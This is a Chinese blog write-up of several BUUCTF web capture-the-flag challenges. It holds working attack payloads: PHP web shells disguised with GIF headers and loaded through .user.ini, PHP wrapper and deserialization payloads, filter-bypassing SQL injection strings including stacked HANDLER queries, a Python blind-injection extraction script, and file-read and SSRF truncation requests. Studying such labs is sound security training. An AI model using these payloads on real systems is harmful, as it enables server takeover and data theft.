BUUCTFweb做题记录(3)

[SUCTF 2019]CheckIn

上传一句话木马图片
在这里插入图片描述
对文件的内容进行了检查。所以,我们换一种木马形式。

<script language='php'>eval($_POST['shell']);</script>

用shell.phtml进行上传。
在这里插入图片描述
对后缀进行了验证

我们修改一下之前木马文件3.jpg

GIF89a
<script language='php'>assert($_POST['shell'];</script>

在这里插入图片描述

再上传一个.user.ini 文件,当我们对目录中的任何php文件进行访问时,都会调用.user.ini中指的文件以php的形式进行读取。
所以我们写一个.user.ini进行上传。(一定要加文件幻术头)

GIF89a
auto_prepend_file=3.jpg

在这里插入图片描述

上传成功。连接蚁剑。

2019]NiZhuanSiWei

进入题目,直接给出了php源码
在这里插入图片描述
看到有include文件包含,必然是解题的重点,所以先看第一个if,必须先满足它。
text不为空,且 file_get_contents() 读取的返回值为 welcome to the zjctf
file_get_contents()函数的功能是读取文件内容到一个字符串,但这里没没有一个文件,而是读取的text变量。没查到相关这方面的用法,特别是那个r参数。
而如果直接给text赋值 text=welcome to the zjctf 的话,没有回显说明没成功。
所以需要用方法绕过它,两种方法
php://input伪协议
此协议需要 allow_url_include 为 on ,可以访问请求的原始数据的只读流, 将post请求中的数据作为 PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为 ?test=php://input ,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
好像用 HackBar 因为在 post 中没有设置变量不能访问,所以用bp抓包。
看到有回显,可行。

data://伪协议
data://协议需要满足双on条件,作用和 php://input 类似

?text=data:text/plain,welcome to the zjctf

在这里插入图片描述
也可以加上 base64 编码。

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

再看第二个if file不能有flag字符。没啥,往下看。

提示了有一个 useless.php ,想到之前说的PHP伪协议中的php://filter读取文件。尝试。

php://filter/read=convert.base64-encode/resource=useless.php

所以构造payload,成功回显

?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php     

在这里插入图片描述
base64解码,成功得到 useless.php 源码。

<?php  

class Flag{
    
      //flag.php  
    public $file;  
    public function __tostring(){
    
      
        if(isset($this->file)){
    
      
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

看到有一个 flag.php ,并且file不为空将读取flag.php并显示。所以。构造一个序列化字符串。

<?php
class Flag{
    
    
    public $file="flag.php";
    public function __tostring(){
    
      
        if(isset($this->file)){
    
      
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$s = serialize(new Flag());
echo $s;
?>

O:4:"Flag":1:{
    
    s:4:"file";s:8:"flag.php";}

最终构造payload

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php
&password=O:4:"Flag":1:{
    
    s:4:"file";s:8:"flag.php";}

在这里插入图片描述

[CISCN2019 华北赛区 Day2 Web1]Hack World

在这里插入图片描述
提示了存在flag表与flag列,先输入正常内容1:
在这里插入图片描述
可以得到正常的回显,再测试2:
在这里插入图片描述
再输入999,得到错误提示:
在这里插入图片描述
输入2-1时,得到注入提示:
在这里插入图片描述
在判断数值型和字符型注入时,可以通过提交数学式的方式,例如:id=2/2,字符型返回id=2的内容,数字型则返回id=1的结果。
输入2/2判断注入类型:
在这里插入图片描述
得到正常回显,猜测为数字型的盲注,使用length()方法测试:

(length(database())>4)

得到正常回显,即为1的结果:
在这里插入图片描述
当尝试<4时:
在这里插入图片描述
基本断定为数字型的布尔盲注。
通过后续的语句测试,好像过滤了(空格),所以采用()作为语句间的分隔

id=(ascii(substr((select(flag)from(flag)),0,1))<120)

可以成功,估算flag的长度为50,使用二分法盲注的Python3脚本爆出flag:

import requests


url = 'http://c6140ee3-6f16-4096-8f22-06ecaa6738ed.node3.buuoj.cn/index.php'
flag = ''

for i in range(1, 50):
    max = 127
    min = 0
    for c in range(0, 127):
        s = int((max + min) / 2)
        payload = '(ascii(substr((select(flag)from(flag)),%d,1))<%d)' % (i, s)
        r = requests.post(url, data={
    
    'id': payload})
        if 'Hello, glzjin wants a girlfriend.' in str(r.content):
            max = s
        else:
            min = s
        if (max - min) <= 1:
            flag += chr(max-1)
            print(flag)
            break
print(flag)

题目限制了大部分函数与关键字,以及最重要的空格。

空格可以使用括号,即任何可以计算结果的语句都可以用括号包围起来;
Tab键、%09、%0a、%0b、%0c、/**/也可以作为空格
还可以使用1^异或这种方法:

1^1=0
0^0=0
1^0=1
即构造id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))
这种形式也可以。

[极客大挑战 2019]HardSQL

在这里插入图片描述
经过手工测试过滤了and、= 空格 union等多个sql关键字

要思考如何绕过这些关键字去注入!

使用updatexml报错法注入
查数据库信息

/check.php?username=admin'or(updatexml(1,concat(0x7e,version(),0x7e),1))%23&password=21
/check.php?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=21

结果:geek
查表

/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21

结果:H4rDsq1
查字段

/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=21

结果:id,username,password
查数据

/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=21

结果:flagflag{acf5a8e4-5671-41f9-aa
用right()语句在查询后面部分

/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21

1-41f9-aa2d-12e51d69ddc3}
最后为:
flag{acf5a8e4-5671-41f9-aa2d-12e51d69ddc3}

extractvalue报错注入
爆数据库名

check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(database()))))%23

爆表名

username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
#语句主要用()绕过了空格,用like绕过了=

爆列名

username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
#同上,语句不变改一下变量就行

找到flag

check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23
#这里要注意!select aaa from table_bbb;不需要引号!!!!!

可是只显示了flag其中的一段。

剩下的用right()显示其他位数的

check.php?username=aaa&password=aaa'^extractvalue(1,rightconcat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23
#这里要注意!select aaa from table_bbb;不需要引号!!!!!

[GYCTF2020]Blacklist

先1’
在这里插入图片描述
字符型注入
再输入

1' or '1'='1

在这里插入图片描述
联合注入
返回了过滤内容

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

堆叠注入
payload:
看表

1';show tables;#

在这里插入图片描述
看列
payload

1';show columns from `FlagHere`; %23

在这里插入图片描述
由于过滤了prepare和alert
我们可以用
HANDLER方法

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#

在这里插入图片描述

[MRCTF2020]Ez_bypass

在这里插入图片描述
gg和id参数强比较,通过数组来绕过
在这里插入图片描述
is_numeric函数的作用是检测变量是否为数字或数字字符串,是则返回ture,反之。
使用hackbar的post传参,passwd

[RoarCTF 2019]Easy Java


)

在这里插入图片描述
尝试点击help发现
在这里插入图片描述
发现filename=help.docx有可能可以进行文件读取
在这里插入图片描述
文中提到,漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,再通过反编译class文件,得到网站源码。
尝试读取web.xml文件
在这里插入图片描述
那就来读取这个class文件,构造payload

?filename=WEB-INF/classes/com/wm/ctf/FlagController.class

在这里插入图片描述
ZmxhZ3syMmU4NTY4MS03ZDM2LTQyNjQtYWNlYi1kMjdmNDU4ZjY0YzF9Cg==
在这里插入图片描述

[GKCTF2020]cve版签到

在这里插入图片描述
这是一个信息泄露的漏洞,具体使用方法入下。
在这里插入图片描述
结合cve可知,get_headers()函数存在漏洞。通过\0截断,访问本地主机。经过尝试,题目这里需使用%00截断
再根据网页代码中给的提示开始构造payload
在这里插入图片描述

payload:
/?url=http://127.0.0.1%00.ctfhub.com

在这里插入图片描述

payload:
/?url=http://127.0.0.123%00.ctfhub.com

在这里插入图片描述

[GXYCTF2019]BabyUpload

GIF89a
<script language='php'>eval($_POST[cmd]);</script>

/var/www/html/upload/634804364a71ab27dca85781909d531f/3.jpg succesfully uploaded!
上传成功,蚁剑连接一下,在根目录找到flag

猜你喜欢

转载自blog.csdn.net/qq_51558360/article/details/113813644
今日推荐